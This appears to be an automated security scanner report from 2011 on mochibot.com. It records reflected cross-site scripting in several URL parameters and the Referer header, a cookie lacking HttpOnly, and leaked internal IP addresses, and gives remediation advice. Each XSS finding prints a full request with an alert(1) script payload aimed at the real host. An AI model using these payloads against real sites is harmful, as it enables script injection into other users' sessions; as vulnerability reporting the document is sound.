Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the f request parameter is copied into the HTML document as plain text between tags. The payload 3c90d<script>alert(1)</script>3079cff87f2 was submitted in the f parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level03c90d<script>alert(1)</script>3079cff87f2&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:13:29 GMT Content-Type: application/x-shockwave-flash Content-Length: 1706 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.235:38870
The value of the mv request parameter is copied into the HTML document as plain text between tags. The payload c7be0<script>alert(1)</script>71487a4924d was submitted in the mv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/core.swf?mv=8c7be0<script>alert(1)</script>71487a4924d&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:58 GMT Content-Type: application/x-shockwave-flash Content-Length: 1706 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.50:8890 X-Mochi-Source: 10.0.0.235:57823
The value of the sb request parameter is copied into the HTML document as plain text between tags. The payload f890a<script>alert(1)</script>be10183104f was submitted in the sb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remotef890a<script>alert(1)</script>be10183104f&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:13:36 GMT Content-Type: application/x-shockwave-flash Content-Length: 1706 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.235:58608
The value of the swfid request parameter is copied into the HTML document as plain text between tags. The payload da6b8<script>alert(1)</script>cc1567e44d0 was submitted in the swfid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3ada6b8<script>alert(1)</script>cc1567e44d0&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:13:17 GMT Content-Type: application/x-shockwave-flash Content-Length: 1706 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.50:8890 X-Mochi-Source: 10.0.0.235:35061
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 665db<script>alert(1)</script>5b53ce941d6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=665db<script>alert(1)</script>5b53ce941d6 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:13:58 GMT Content-Type: application/x-shockwave-flash Content-Length: 1696 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.50:8890 X-Mochi-Source: 10.0.0.235:65366
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:22 GMT Content-Type: application/x-shockwave-flash Content-Length: 1665 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.235:63669
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:49 GMT Content-Type: application/x-shockwave-flash Content-Length: 1618 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.237:47845
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
POST /mochiSWF HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Content-Length: 819 content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:12:48 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:48 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.50:8890 X-Mochi-Source: 10.0.0.236:34988
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
The following RFC 1918 IP addresses were disclosed in the response:
10.0.0.105
10.0.0.235
Request
GET /favicon.ico HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04
Response
HTTP/1.1 301 Moved Permanently Server: nginx/0.8.52 Date: Fri, 15 Apr 2011 22:34:54 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: http://www.mochibot.com/favicon.ico Expires: Sun, 15 May 2011 22:34:54 GMT Cache-Control: max-age=2592000 P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.105:40051 X-Mochi-Source: 10.0.0.235:45702
<html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/0.8.52</center> </body> </html>
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:41:58 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:41:58 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.22:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.238:23262
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:34:55 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:34:55 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.235:37641
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:32:35 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:32:35 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.236:49547
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:12:20 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:20 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.236:55802
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:32:25 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:32:25 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.235:52748
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:41:05 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:41:05 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.237:43969
HTTP/1.1 200 OK Set-Cookie: mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Sat, 14 Apr 2012 22:12:48 GMT; Max-Age=31536000 Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:48 GMT Content-Type: application/x-shockwave-flash Content-Length: 297 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.50:8890 X-Mochi-Source: 10.0.0.236:34988
The following RFC 1918 IP addresses were disclosed in the response:
10.0.0.237
10.0.0.51
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:41:27 GMT Content-Type: application/x-shockwave-flash Content-Length: 1665 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.237:46625
The following RFC 1918 IP addresses were disclosed in the response:
10.0.0.236
10.0.0.51
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:19 GMT Content-Type: application/x-shockwave-flash Content-Length: 1665 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.51:8890 X-Mochi-Source: 10.0.0.236:55802
The following RFC 1918 IP addresses were disclosed in the response:
10.0.0.235
10.0.0.52
Request
GET /my/core.swf?mv=8&fv=9&v=WIN%2010%2C2%2C154%2C25&swfid=f0d2fc3a&l=10301&f=_level0&sb=remote&t=1 HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: MochiWeb/1.0 (Any of you quaids got a smint?) Date: Fri, 15 Apr 2011 22:12:22 GMT Content-Type: application/x-shockwave-flash Content-Length: 1665 Cache-Control: false P3P: policyref="http://www.mochimedia.com/p3p/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" X-MochiAds-Server: 38.102.129.23:80 X-Mochi-Backend: 10.0.0.52:8890 X-Mochi-Source: 10.0.0.235:63669